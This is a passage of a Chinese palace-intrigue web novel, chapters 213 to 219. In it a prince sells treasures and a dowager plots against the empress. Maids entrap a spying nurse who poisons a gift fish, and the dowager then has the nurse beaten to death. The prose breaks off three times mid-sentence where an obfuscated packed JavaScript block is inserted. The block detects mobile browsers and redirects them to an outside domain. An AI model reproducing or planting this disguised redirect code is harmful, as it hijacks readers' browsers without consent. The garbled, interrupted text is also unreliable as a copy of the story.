他才不要母后被任何人攻讦。
即便是误会也不行。
而且,小恩人的及笄日也快到了。
那可是及笄日!
那么大的日子,当然得送厚礼。
他盘算了一下王府的库银,觉得有些囊中羞涩,这才做出了变卖宝物的决定。
上回才觉得小恩人穷困潦倒。
这下好了,小恩人开了流光阁日进斗金,反倒是他捉襟见肘了。
“反正那些东西儿臣都看腻了,高价卖出去也不亏。此事不仅能给母后换来贤名,还能救下许州无辜百姓。儿臣觉得这笔买卖很值得。”谢翊宁振振有词。
文昭帝听完儿子所言,一瞬间就心疼了。
他将戒尺放回了御案上,幽幽地叹了一口气:“傻孩子,你母后若是知道了你这么做的原因,怕是要把眼睛都哭肿了。”
“那父皇您别告诉她不就好了。”谢翊宁也不想让母后担心。
“说吧,你还差多少银子。”文昭帝无奈地看着儿子。
谢翊宁默默比了个数字。
看到他比划的数字,文昭帝皱起了眉头。
他私库一共也就十万两现银。
小儿子这一缺就是三万两,让他掏,还真是有点肉疼。
罢了罢了,都是为了皇后,都是为了儿子的一番孝心,更是为了百姓。
这银钱,他掏了就掏了吧。
文昭帝扭头看向严公公:“去朕的私库取三万两给永安王带走。”
谢翊宁猛地瞪大了眼睛。
他比划的是三千两。
父皇竟然给了三万两?!
“儿臣多谢父皇赏。”谢翊宁笑眯眯地道谢,没有解释这个美丽的误会。
谢翊宁美滋滋地拿着父皇给的银钱回了王府,就被告知晏逐星来了。
谢翊宁有些惊讶。
除了上回给他生辰礼,晏逐星好像还是第一次亲自来王府找他。
难不成是出什么事了?
第214章 王爷感动哭
想到可能是出了什么要紧事,晏逐星才会亲自登门。
他赶忙快步地走到了会客厅。
晏逐星瞧见他,当即起身将一个盒子交给了他。
“这是何物?”谢翊宁有些惊讶。
他说完就要打开,但却被晏逐星按住了手。
“王爷能不能等我走了再打开。”
“好。”谢翊宁见状,便将小盒子放到了一旁。
“你今日寻本王,所谓何事?”他语气里带着自己都没察觉的关心。
“没什么大事,就是想和王爷说一声,我明日就要搬到摘星山庄长住了。日后王爷有事寻我,可以派人去那里找我。”晏逐星微微一笑。
她给那座温泉山庄重新取了名。
“好。”谢翊宁点了点头。
说起这事,他又道:“对了,我府里有位管事嬷嬷,送你吧。还有你缺什么人,一并在王府里挑了吧。”
“外边采买的那些人,不懂宫中的规矩,如今你是县主了,身边带着的人得靠得住,拿得出手。王府的人,都是母后精心调校过才给我的,都很靠谱。”
晏逐星眼睛瞬间亮了起来。
“王爷愿意割爱,那可再好不过了。太后娘娘赐了我一个姓苏的嬷嬷,我正发愁怎么对她呢。”
“太后这手伸得可真长。”谢翊宁眉头皱了起来。
不过好在他的计划已经开始了,过不了多久太后就没法蹦跶了。
现在先暂且让她得意一段时间吧。
谢翊宁把进展跟晏逐星说了一下。
晏逐星皱眉思索了起来:“王爷,您说景王会上当么?”
他们这个计划,如果景王不上钩,那可就白费心机了。
“放心吧,他一定会上当的。”谢翊宁露出了胸有成竹的表情。
景王是王贵妃的儿子,朝华长公主去世后,王贵妃就时常让景王和女儿去长乐宫陪伴太后。
目的很明显,想要拉拢太后和裴家站到他们身后去。
所以景王若是见了那难得一见的白玉观音,一定会想办法买了送去孝敬太后的。
两人又说了一会儿话,晏逐星才领着王爷给她的嬷嬷和几个丫鬟还有护卫离开了。
走的时候,晏逐星都恍惚了。
不是说只送一个嬷嬷么,怎么身后就跟了那么一长串人了。
她回头看着跟在身后的人,忍不住开口:“你们想清楚了么,当真愿意离开王府,跟着本县主去京郊庄子?”
“跟随县主,老奴心甘情愿。”花嬷嬷笑着开口,眼尾都眯出了好几条褶子。
她可不傻。
这位县主大概率就是以后的永安王妃了。
提前跟在她身边当她的心腹,日后还怕没有好前程么。
那些不愿意来的人,日后怕是要懊悔得拍大腿。
其余的丫鬟也忙跟着点头:“奴婢都是自愿跟随县主的。”
见他们丝毫没有不情愿的样子,晏逐星也就收下了他们。
晏逐星走后,谢翊宁便迫不及待地打开了她送来的那个盒子。
打开一看,里边竟然是整整齐齐的四万两银票。
他一愣,旋即反应了过来。
他卖王府宝贝的事情,被晏逐星知道了!
她怕他不愿意接受这笔银子,所以才说等她离开之后再打开。
这四万两银票,想必用了上回秦王妃留下的那笔钱,还有她最近流光阁的收益。
谢翊宁算了算,有一瞬间鼻酸。
小恩人这是把身上所有的银钱,都给他了啊。
看吧,他就说了吧,小恩人就是天底下最好最好的姑娘了。
日后谁要是娶到了她,真是十辈子修来的好命。
这么一想,他竟然隐隐有些嫉妒了。
但转念一想,他也很好命,有疼爱他的父皇母后和兄长,还能得到小恩人救命,重活一世。
要嫉妒,也是别人嫉妒他!
谢翊宁想了想,这毕竟是晏逐星的一番心意,他没有马上送回去。
反正她的及笄日也快到了,不如那个时候再连着及笄礼物一块给她送回去!
*
景王谢明奕在太白楼雅间自斟自饮,正觉得有些无聊,隔壁刻意压低的说话声就钻进了耳朵。
那声音带着浓重的哭腔,让他想忽略都难。
“李兄,你说我怎么办啊!”一个汉子声音发颤。
“家里老娘病得快不行了,等着银子抓药救命!我就指着祖传的那尊白玉观音了。可那杀千刀的当铺,那么好的羊脂白玉观音,他们居然只肯出二百两!这不是要逼死我吗!”
“二百两?!”另一个声音惊呼出声。
“陈老弟,你家这尊观音玉质油润,雕工也精细,少说也得值个五六百两。当铺这帮黑了心的,这是趁火打劫啊!”
白玉观音?
这几个字像钩子,瞬间钩住了谢明奕的耳朵。
母妃让他挑些好东西送给太后,讨太后欢心,可他挑了好些时日,都没挑到一个合适的。
听到白玉观音他瞬间就动了心思。
太后喜爱礼佛,若能得一尊上好的白玉观音送她,想必她老人家定会对他多几分喜爱。
他立刻放下酒杯,身体不着痕迹地贴到了雅间门边。
太白楼的雅间门虽关着,但隔音也就那么回事,尤其里面两人情绪激动,声音根本压不住。
谢明奕屏息凝神,竖起耳朵,把隔壁的对话听得一清二楚。
只听那姓陈的汉子哭腔更重,充满了走投无路的绝望:“李兄,我也知道他们故意压价,可除了当铺,我一时半会儿上哪找买主?我能等,可我娘的病等不得啊!”
说到最后,已是泣不成声。
谢明奕轻轻推开了一道门缝,里边说话的两人正抱头痛哭,压根没注意到他。
他的眼神一瞬间就被桌上摆着的那尊白玉观音给黏住了。
第215章 想要抖威风
那白玉观音通体无瑕,纯净得如同凝结的月光,温润中透着莹莹宝光。
绝非寻常羊脂玉可比。
雕工更是登峰造极。
观音面容慈悲庄严,衣袂飘然欲飞,线条流畅如行云流水。
整尊佛像笼罩在一层圣洁柔和的光晕之中,令人望之心神宁静,不敢亵渎。
就是它了!
谢明奕脑海中闪过了势在必得的念头。
这样的好东西,太后一定会喜欢。
他二话不说推门而入,把里边抱头痛哭的两人吓了一跳。
“打扰了。本……在下路过听闻兄台要卖祖传的玉观音,正巧家中长辈喜好礼佛,不知兄台可否割爱?”谢明奕指着桌上的玉观音笑吟吟地开口。
“你,你能给多少银子?”陈三河一脸警惕地看着他,眼里带着一丝期待,又多了一丝急迫。
近距离看到那座白玉观音后,谢明奕愈发笃定了要拿到手的决心。
他微微一笑,看向了陈三河:“一口价,五百两。如何?”
听到这话,陈三河呆在了原地。
一旁的李年推了他一把:“陈老弟,你愣着作甚,还不赶紧答应了。”
陈三河却犹豫地看着桌上的白玉观音,咬牙又道:“五百两少了,六百两行不行?”
“别以为我家主子心善,你就可以蹬鼻子上脸!”谢明奕的随手当即拔剑怒喝。
陈、李二人当即吓得脸色大变,一块跪到了地上。
陈三河哀求道:“这是我家传宝物,若不是到了山穷水尽之际,我也不会将它出售。贵人行行好,六百两收了吧。”
谢明奕轻笑一声,抬手示意随从将剑收起来。
“也罢。念在这位兄台孝心可嘉的份上。六百两就六百两吧。滕英,掏钱。”
那位名唤滕英的随从这才收起了剑,不情不愿地点了六百两银票给陈三河。
“多谢贵人,多谢贵人。”陈三河连连磕头,而后方才起身拉着李年快步离开。
他们一走,谢明奕脸上的笑容就消失不见了。
他冷冷吩咐了下去:“查查,这两人是什么人,家中这白玉观音哪来的。”
“是。”滕英应下,当即命人去查。
谢明奕抱起那尊白玉观音,爱不释手。
命人仔细检查观音没有任何可疑之处后,收进了宝匣之中,等着下属回禀。
若今日卖观音那两人身份没有疑点的话,明日他就将这观音送入宫给太后。
约莫过了大半日的功夫。
滕英回来了。
“启禀王爷,属下已经查清楚了。”
“卖白玉观音的那陈三河,祖上是宫中内侍出身。他的母亲半年前就得了病,治病几乎掏空了家底。听闻十日前他就在抱着白玉观音到处问价了。”
“另一个人叫李年,是他的好友。与他是邻居,一切正常。”
他这么一说,谢明奕便觉得合情合理了起来。
祖上是宫中当太监头子的,想必当初肯定偷藏了不少好东西。
这白玉观音多半也是宫中出去的宝贝。
这么一想,他便放心了。
翌日,他便捧着宝贝去了长乐宫。
果不其然,太后瞧见这白玉观音后,罕见地露出了笑容。
这段时间她就没一个顺心的事。
太后命人将白玉观音收下,放到了小佛堂里。
“景王有心了。”她一脸慈爱地看着谢明奕。
“孝顺皇祖母,是我们应该做的。”谢明奕表现得十分乖巧。
一个有心讨好,一个故意卖好,祖孙二人相处得十分融洽。
约莫一刻钟后,太后忽然开口:“今日小厨房做了一道樱桃肉,你留下陪哀家一块用膳吧。”
谢明奕大喜过望。
他来了那么多回,太后总算将他留下用膳了。
“孙儿谢皇祖母恩典。”他高高兴兴地应下。
太后又道:“你既入了宫,想必你母妃定是念着你的。不如让她一道过来,到哀家的长乐宫用膳吧。哀家倒也有些时日没见着她了。”
谢明奕更高兴了。
太后这还是头一回召后宫妃嫔过来陪同用膳。
他当即道:“母妃若是知道皇祖母慈恩垂怜,定然喜极而泣!儿臣这就派人去将母妃请来。”
没过多久,王贵妃便匆匆赶了过来。
“臣妾给太后娘娘请安。”
“坐吧。”太后微微颔首,王贵妃乖巧坐下。
她不知道太后将她请来为的是哪一遭。
直到饭后,太后忽然开口:“景王,过些时日就是皇后的生辰日了,你给哀家送了这样好的白玉观音,皇后的寿礼可曾备下?”
谢明奕一怔。
满后宫皆知,太后和皇后关系不睦,这个时候太后忽然提起皇后是什么意思?
王贵妃给了儿子一个眼神,谢明奕回过神来赶忙道:“启禀皇祖母,母后的生辰礼孙儿已经备下,是一个蟠桃献寿的玉雕盆栽。”
“今年不比往年,许州即将大旱,太子都削减了东宫九成用度。皇后寿宴也减少了规制,这个时候你若送这样贵重的礼物……”太后没说完,意有所指。
谢明奕还没咂摸出太后话外的意思,王贵妃懂了。
她笑道:“太后娘娘说得极是。臣妾打算送一份手抄的佛经恭贺娘娘寿诞,皇后娘娘应当不会嫌弃妾身送的礼物寒酸吧?”
见她懂了,太后也笑了。
“正是如此,今年送礼,不可铺张浪费,一切以百姓为重。”
王贵妃附和着点了点头。
心下明了,太后娘娘这是想让皇后难堪。
一国之后,千秋寿诞,若收到的贺礼尽是些寒酸之物,颜面何存?
景王谢明奕也反应了过来,他们送了这样不值钱的玩意,皇后不仅不能动怒,还得咽下这个哑巴亏夸赞他们心怀黎民百姓。
想到可以在皇后面前抖威风,谢明奕就兴奋了起来。
“孙儿谨记皇祖母教诲。”他忙不迭起身,躬身一礼。
“母后向来喜爱清雅,届时孙儿定当在晨露未晞之时,亲往山野采摘些花草奉上。虽非金玉奇珍,却也得几分野趣,想必母后会喜欢的。”
太后唇边那抹笑意变得更深了。
倒是个识趣的。
说得不错,那崔氏可不就只配得上这路边的野草闲花?
“你一片心意,皇后向来宽厚仁慈,又怎会苛责于你呢。”太后笑呵呵地开口。
随后终于说出了真正的目的。
第216章 到处在挑拨
太后慢悠悠道:“皇后寿宴,皇上新封的那位令嘉县主也该到场了。初来乍到的,只怕是处处生疏。你们可得费心多照看一二。”
她顿了顿,眼风漫不经心似地掠过王贵妃母子二人,再次提醒。
“万万不可让她失了体面,叫人看了笑话。”
王贵妃母子迟疑片刻后,点头应下。
太后微微一笑:“此番用心若是周全了,哀家自会将你们这份忠心都放在心上。待来日**,哀家总不会忘了你们的好处。”
说完,她便称累了,让人将他们送走。
离开了长乐宫,回到王贵妃的景和宫。
谢明奕迫不及待地开口询问:“母妃,太后究竟是何意?皇后生辰那日,咱们到底该怎么做?”
“太后话都说得那么明白了,你怎么没听出来呢。”王贵妃咬牙切齿。
“她是想借我们的手惩戒那位令嘉县主呢。”
“可父皇不是说因为太后喜爱那民间女子,缓解了太后丧女之痛,所以才封她为县主的么?”谢明奕一时间没反应过来。
“那位县主的封号是皇后拟定的,她和永安王关系密切,你觉得太后能容忍她么?”王贵妃冷笑。
“更别提驸马曾说过令嘉县主跟那两位的死有关联。太后心底怕是记着呢。”
“原来如此。”谢明奕恍然大悟。
“你近来常往长乐宫走动,倒是得了太后的青眼。只要此事办成,太后与裴家自会成为你的倚仗。”王贵妃娓娓道来,点明利害。
“届时,太子若仍无所出,他那东宫之位怕也未必坐得安稳。”
话点到为止。
谢明奕心潮澎湃。
是啊,父皇并非嫡长子都坐上了那个位置,为何他坐不得。
太子成婚多年只有两个女儿,怕是命中无子的命。
“儿臣知晓分寸。那皇后寿宴那日‘关照’令嘉县主之事,就有劳母妃了。”谢明奕恭敬地行了一礼。
“放心吧,有母妃在呢。”王贵妃笑着应下了。
当初她输给了崔家一个破落户的女儿,她的儿子绝对不能输给崔凝华的儿子。
真不知道崔凝华哪里来的好命,得了皇上的偏宠。
想到这,王贵妃就咬牙切齿。
若不是崔凝华当初宫宴上为救先太后挡了一刀,得了先太后的青眼,这才力排众议册封她为成王妃。
不然凭她一个门庭败落的伯府之女,也想入主成王府?
她的家里人又怎会鸡犬升天,成了如今的皇亲国戚,得了忠国公的封号。
最可恨的是当初皇上娶她为正妃后,让她生下谢元宸两年无所出后才在他们各家的威压下,让侧妃诞下孩子傍身。
生了谢翊宁后更是给了他们无上尊荣。
不知道是不是吸取了先帝的教训,当今圣上一登上皇位便立刻册封长子谢元宸为太子,而不是拖到快不行了才定下太子。
这一举动直接掐灭了后宫妃嫔和世家们的希望。
可后宫四妃,谁的家世不比皇后的好,谁又心甘情愿屈居于她之下呢。
皇后的这场寿宴,她一定会好好准备。
届时就拿那个令嘉县主来开刀,当做送给太后的投名状吧。
到时候,她再将皇后寿宴“奢靡成风”一事宣扬出去,她就不信那些黎民百姓能不恨。
“崔凝华啊崔凝华,生辰日撞上大旱,老天都要你亡。你的好日子要到头了。”王贵妃冷笑。
她就不信,崔凝华能一直好运下去。
*
摘星山庄。
晏逐星收到了皇后给的请帖。
几日后就是皇后的生辰了,晏逐星正琢磨着给她送什么生辰礼呢。
太后赐下的苏嬷嬷堆着笑脸道:“皇后娘娘对县主恩重如山,她的生辰礼您可不能马虎,自然是越贵重越好。”
花嬷嬷却不赞成地皱起了眉头,她一边给晏逐星打扇子一边道:“苏姐姐此言差矣,皇后娘娘懿旨明言一切从简,如今许州大旱,宫中若还奢靡成风,岂不令天
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944298|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下心寒?县主若送那等扎眼的贵重之物,岂非……”
“岂非什么?!”苏嬷嬷像是被踩了尾巴,急声打断,“花妹妹这话说得倒显得咱们县主不懂事了!皇后娘娘体恤百姓是娘娘的仁德,可咱们做臣下的,难道就能忘了尊卑孝道?”
“县主初入宫闱,头回给皇后娘娘贺寿,这礼数上若轻慢了,旁人怎么看?娘娘心里又会怎么想?”
反驳完花嬷嬷,她转向晏逐星,语气恳切道:“依老奴看来这头一份寿礼啊,就得体体面面、风风光光,才衬得起您的身份,也显得您把娘娘的恩典时刻放在心上。”
“县主,您说是不是这个理儿?”
花嬷嬷气得手都抖了,扇子差点脱手。
太后送来这个老货果然没安好心。
听起来像是在替县主考虑,实际上全是挑拨。
她正欲开口再劝,就听到晏逐星开口了。
“好了花嬷嬷,苏嬷嬷也是为了我好,此事就听苏嬷嬷的吧。”
听到这话,苏嬷嬷得意地看了花嬷嬷一眼。
花嬷嬷想要反驳,但主子开口了,她自然不好多说,只是幽幽的叹了一口气。
接下来的几天,晏逐星都没有提过要给皇后送什么贺礼。
直到皇后诞辰前夜,晏逐星提前回了京中宅院小住,苏嬷嬷还是没看到她准备了什么礼物。
“县主,难不成您明日入宫,什么也不带么?”她忍不住开口。
“谁说我不带了。”晏逐星指了指一个被黑布盖起来的东西,“那就是给皇后娘娘的生辰贺礼。”
苏嬷嬷大吃一惊。
那是什么时候买回来的,她怎么不知道。
如今花嬷嬷掌管着晏逐星的衣裳首饰和库房钥匙,而她负责管着内院的丫鬟。
但这些日子,她明明没看到有丫鬟出了摘星山庄啊。
晏逐星从哪弄来的礼物?
“老奴斗胆敢问县主,给娘娘准备的是何礼物?”她堆起一个讨好的笑,看向晏逐星。
第217章 人赃并获了
“明日嬷嬷就知道了。”晏逐星微微一笑。
她扭头看向了九栀,收起笑容,板着脸道:“总而言之,此物必须小心照料,否则若是出了什么岔子,我唯你是问。”
“是,县主。奴婢一定彻夜不眠地守着,绝对不让它出事!”九栀举手发誓。
说完就神秘兮兮地把那个黑布罩着的东西搬进了屋子里。
苏嬷嬷仔细张望,也只看出了一个形状,瞧着像是一个椭圆的物什,看九栀搬着有些吃力,她猜测那物件应该挺沉,或许是瓷器?
但是什么,晏逐星死活不说,九栀更是不许她靠近半步。
苏嬷嬷抓心挠肝地想知道。
太后娘娘派给她的第一个任务就是让晏逐星在皇后生辰宴上出糗,她若办不好,太后还怎么信她。
晏逐星暗中给皇后娘娘准备生辰礼这事,她竟然全然不知。
太后知道了恐怕要失望。
她愈发着急了。
于是她趁着晏逐星中午小憩时,悄悄摸到了九栀看守的屋子里。
她刚到,就听到双鲤在和九栀指着那块黑布闲聊。
“九栀姐姐,你就让我看一眼嘛。”
“不行,县主说了,任何人都不可以看。”
苏嬷嬷大喜过望,立刻把耳朵贴到了门上,想要听清她们在说什么。
双鲤那死丫头最擅长死缠烂打,和九栀的关系也不错,想必她一定可以从中问出有用的东西。
“九栀姐姐,你就让我看一眼嘛。我还没看过五彩颜色的鱼呢……”双鲤话还没说完,就被九栀捂住了嘴。
“嘘。当心隔墙有耳!”她说完似乎无意地瞥了一眼苏嬷嬷的位置。
苏嬷嬷心跳如擂鼓。
原来如此!
晏逐星要给皇后娘娘送的生辰礼是一条稀罕的鱼。
怪不得神神秘秘不让人知道呢。
她赶忙出府,往宫里递了消息。
“她信了么?”苏嬷嬷前脚一走,后脚九栀就松开了捂住双鲤的手。
“走了。”九栀早就听到苏嬷嬷靠近了,所以才会给双鲤暗示让她赶紧把话说出来,骗她上钩。
没想到,苏嬷嬷比她们想的更好骗。
“你说她会动手么?”双鲤有些发愁地看着瓷缸里的那条鱼。
“她若再不动手,这鱼就要掉色了。”
五彩颜色的鱼哪有那么好找啊。
她和衔蝉姐姐弄了老半天才让这鱼染上了红色,黄色,黑色和蓝色,还有原本的一点儿白色。
生拼硬凑,造出了一条五彩斑斓的鱼。
为的就是用这条“假鱼”钓苏嬷嬷这条“大鱼”。
“放心吧,为了让县主丢脸,她肯定会弄的。就算不弄死,明天宫里若有针对县主的人提前得了消息,恐怕也会动手。”九栀笑眯眯地捏了捏她的脸。
“嘿嘿,这倒也是。”双鲤忍不住用蒲扇扇了扇风,“京城这天,也忒热了。还是咱们庄子凉快。”
“这才五月下旬就热成这样了,六月酷暑时,岂不是更难熬。”
“今年确实比往年更热,怪不得许州大旱了。”九栀也觉得这天闷得难受。
幸亏她们只在京城呆一晚上,明天就可以回庄子里了。
两人闲谈之际,苏嬷嬷也悄悄回了晏宅。
太后那边已经收到了她的消息,并且给了准确的指示——天亮之前弄死那条鱼。
让晏逐星来不及准备新的贺礼,让她和皇后离心。
苏嬷嬷想着太后娘娘承诺的好处,她的孙儿可以入鹿山书院,她一颗心就冷静不下来。
她看了看掌心里用布包裹着的那根针,下定了决心。
等九栀打瞌睡时,就出手将这根带毒的针刺到鱼鳃去。
这个毒要等一个时辰后才发作。
等快天亮时她才动手,这样即便之后鱼**,晏逐星也怀疑不到她头上。
等他们反应过来要查,这根针她早就扔了。
苏嬷嬷想着这事,心里十分亢奋,一夜未眠。
直到天空泛起了鱼肚白,她困得都打哈欠时,发现九栀竟然也在打瞌睡。
她趴在桌上,面前放着的是盖
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944299|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着黑布的瓷缸,睡得十分香甜。
苏嬷嬷先轻轻推门,发出了微弱的声音,以此试探九栀。
九栀似乎困极了,根本没有清醒过来。
苏嬷嬷胆子更大了。
她心一横,猛地掀开黑布。
缸中赫然躺着一条五彩斑斓的怪鱼!
那两丫鬟还真没骗人。
只是鱼的鳞片和色泽都有些奇怪,但这个时候她已经来不及细想,箭在弦上不得不发,她当即拿针扎到了鱼鳃的软肉上。
就在这时,门外忽然传来双鲤清脆的声音:“九栀姐姐,我来替你了!”
苏嬷嬷吓了一跳,下意识就想拔针抽手,可原本趴在桌角熟睡的九栀竟然猛地睁开了眼。
她一起身,左手就死死扣住苏嬷嬷正欲缩回的腕子,右手精准地按住她捏针的手指。
“苏嬷嬷,你为何要谋害县主献给皇后娘娘的吉礼?”
“我没有!”苏嬷嬷脸色煞白,惊惶之下本能地狡辩。
“你没有,那这鱼是怎么回事?”九栀高声呵斥,声音带着震怒。
苏嬷嬷一看,那条鱼竟然已经开始翻肚皮了,分明是快死的征兆。
不可能!
那毒效分明要一个时辰后才会发作。
这时候,她哪里还不明白。
她这是遭人算计了啊!!!
双鲤听到声音快步跑了进来,瞧见这一幕,大声嚷嚷了起来:“苏嬷嬷你竟然用**谋害这吉兆之鱼!县主千辛万苦寻得这五彩锦鳞,你竟敢下此毒手?!”
九栀立刻接口:“这五彩锦鳞乃天赐福瑞,应皇后娘娘仁德而现。县主本欲在今日宴上献此祥瑞为娘娘祈福。你如今竟然毁了它?!”
双鲤跟她一唱一和:“你这岂止是毁了一件寿礼,你这是在断皇后的福泽,损我大虞朝的祥瑞啊!此等大逆不道之举,苏嬷嬷,你究竟是何居心?!”
苏嬷嬷这下终于体会到了什么叫百口莫辩。
她纵然知道这是一场瓮中捉鳖的戏码也无法狡辩,毕竟她被抓了个人赃并获。
第218章 不懂县主了
院子里的动静很快就将其他人给惊醒了。
晏逐星领着花嬷嬷和衔蝉一块过来,面色冷若冰霜。
看到晏逐星那一刻,苏嬷嬷僵硬的脑子终于开始转动。
九栀和双鲤哪有那么大的胆子陷害她,这一定是得了晏逐星的示意。
晏逐星根本就没有在乎过她。
她之前表现出来对她的客气,也都是假的!!!
但此刻她哪里敢攀扯晏逐星,只得扑通跪倒在地:“县主,老奴冤枉啊。这鱼早就**,是这两个死丫头看管不力,害**鱼,所以想污蔑到老奴身上啊。”
“那苏嬷嬷为何会出现在这?”晏逐星一句话打乱了她的节奏。
她继续甩锅:“老奴担心这两丫鬟靠不住,会毁了县主精心准备礼物,特意来检查一二,不曾想,这鱼竟然**。”
“你还敢狡辩,这鱼分明是你用**害死的,我和九栀姐姐都看见了!”双鲤愤怒大喊。
她没想到都这样了苏嬷嬷还能睁眼说瞎话。
“那这针你怎么解释?”晏逐星面色依旧没有缓和。
苏嬷嬷这是真解释不了,她只能转移话题:“县主若是不信,可以请人来验,这条鱼究竟是什么时候死的!肯定不是老奴来了才死的!”
“县主若执意冤枉老奴,那老奴只能请太后娘娘替我做主了!”
“太后老人家日理万机,哪有空来处理这些小事。”晏逐星面无表情地开口。
“既然嬷嬷说冤枉,那便报官吧。让京兆尹来断一断此案。”
苏嬷嬷心头咯噔一跳,来不及反驳,就被九栀给堵住了嘴。
没过多久,京兆府的官员就被请到了家中来。
来的是老熟人——郑晗。
如今裴明镜不在了,郑晗便跟着新的京兆尹办案。
听闻令嘉县主这边有案情,他便赶紧来了。
裴大人辞官后给他递过礼物,嘱咐过他若是遇上了令嘉县主的案子,记得在合理的范围里,多帮帮她,不要让人为难她。
因此郑晗瞧见晏逐星,便露出了十二万分热情的笑脸。
“县主报案,所为何事?”
晏逐星看了双鲤一眼,双鲤立刻站出来叭叭叭地就把事情经过说完了。
“这恶奴害**我们县主给皇后娘娘准备的贺寿礼……”
“大人,老奴冤枉啊!”苏嬷嬷大喊了起来。
但郑晗问了和晏逐星一样的问题。
问苏嬷嬷为何会拿有带毒的针出现在这里,她解释不清楚了。
“搜!”郑晗冷着脸下令。
不一会儿,官差就从苏嬷嬷床褥下边搜出了一小瓶**,正和针上的毒一模一样。
那条鱼,也是死于**而亡。
听到结果,苏嬷嬷目瞪口呆。
这分明是陷害!!!
她用的毒根本不是**。
“如今人证物证确凿,你还敢狡辩?!”郑晗怒气冲冲地踹了她一脚。
“大虞律令,婢仆损毁主家财物,值过三钱者,当众鞭笞一百,着牛筋重鞭,分两日行刑,血浸透三重麻衣方止。”
“我要见太后,我要见太后!!!我的身契在太后手里,你们无权处置我。”苏嬷嬷尖叫了起来。
若是真挨上一百鞭,她不用活了。
但府里的人除了她,都是永安王给晏逐星的人,他们只听晏逐星的。
因而无人搭理她。
郑晗看出了那条鱼的不对劲,但他没说出来,只是提醒了晏逐星一声:“县主,按照律法,她的生死确实得由太后来决断。”
晏逐星微微一笑:“郑大人说笑了,本县主岂是那种打打杀杀之人。她毁了本县主送给皇后娘娘的贺礼,我自然要找太后娘娘为我做主。烦请郑大人陪我入宫,做个证人。”
郑晗:“……”
合着报官的作用在这呢。
如今他们已经确认此案就是苏嬷嬷所为,太后若要保住苏嬷嬷,那岂不是承认太后宫里出来的人可以随意对皇后不敬么。
入了太后的长乐宫,怕是太后更想弄死苏嬷嬷了吧。
根本用不着这位令嘉县主动手。
事已至此,他只得随晏逐星入宫了。
*
太后万万没想到,皇后生辰这一天,她的长乐宫先热闹了起来。
看着地上跪着的苏嬷嬷,她气得牙齿都要咬碎了。
蠢货,这点小事都办不好。
如今还被人扣上了“毁祥瑞、断福泽、损国
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944300|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
运”这样的大帽子,活着还有什么用。
她看着跪在地上的苏嬷嬷,冷声下令:“这刁奴竟然敢欺主!拉下去杖毙!”
“不要啊太后娘娘,太后娘娘饶命啊。”
“老奴知错了,太后娘娘。”
苏嬷嬷没想到回了宫,太后竟然第一个舍弃了她,她失声痛哭。
喊了两句见太后铁了心不护着自己,她忍不住愤慨大喊:“明明是……”
但她后面的话永远都说不出来了。
太后的人已经捂住了她的嘴,行刑者用了最大的力气,不到十杖,苏嬷嬷就彻底咽气了。
一大早,太后宫里就来了京兆府官员的事情传遍了整个后宫。
众人还知道,太后娘娘杖毙了一个嬷嬷。
苏嬷嬷被杖毙,郑晗知道自己的作用没了,老老实实地提出了告辞。
太后心情不好,冷着脸让人把他送了出去。
晏逐星看着太后,柔声道:“这刁奴仗着自己是太后宫里出去的,竟然如此胆大妄为。太后娘娘,不如您重新给臣女挑个嬷嬷吧。如今臣女身边只有花嬷嬷一人,恐怕不方便。”
太后有些惊讶,没想到晏逐星竟然还愿意要她指派的嬷嬷。
难不成今日苏嬷嬷被抓,不是晏逐星有意设计的,而是苏嬷嬷自己太蠢了?
“难不成是太后娘娘不愿?那臣女只能去恳求皇后娘娘了。”晏逐星露出了伤心的表情。
太后一时间摸不准晏逐星到底什么意思。
思索片刻后,叹了一口气,轻轻拍了拍她的手:“苏嬷嬷这刁奴,是哀家看走了眼。这一回啊,还是令嘉你亲自来挑人吧。这长乐宫里,你喜欢谁,只管要走就是。”
“太后娘娘对我真好。”晏逐星故作天真。
太后在心底冷笑:反正你也活不过今夜了,挑吧挑吧,挑谁都一样。
但面上却还是保持着慈爱的笑。
“难得你对了哀家的脾性,哀家不对你好,对谁好。”
“那臣女可就不客气咯~”晏逐星大大方方地挑了起来。
站在一旁的花嬷嬷百思不得其解。
县主好不容易才将太后安插的眼线赶出去了,如今来这一出,又是为了什么?
第219章 在羞辱皇后
“这个,这个,那个,那个,臣女瞧着都挺面善,挺有眼缘的,不知太后娘娘可否割爱,让臣女将他们都带走。”晏逐星挑了八个人,脸上露出一抹腼腆的笑。
“毕竟摘星山庄那边太大了,臣女如今身边实在是缺人啊。”
从嬷嬷到宫婢,甚至是小太监,她都点了。
太后嘴角抽了抽。
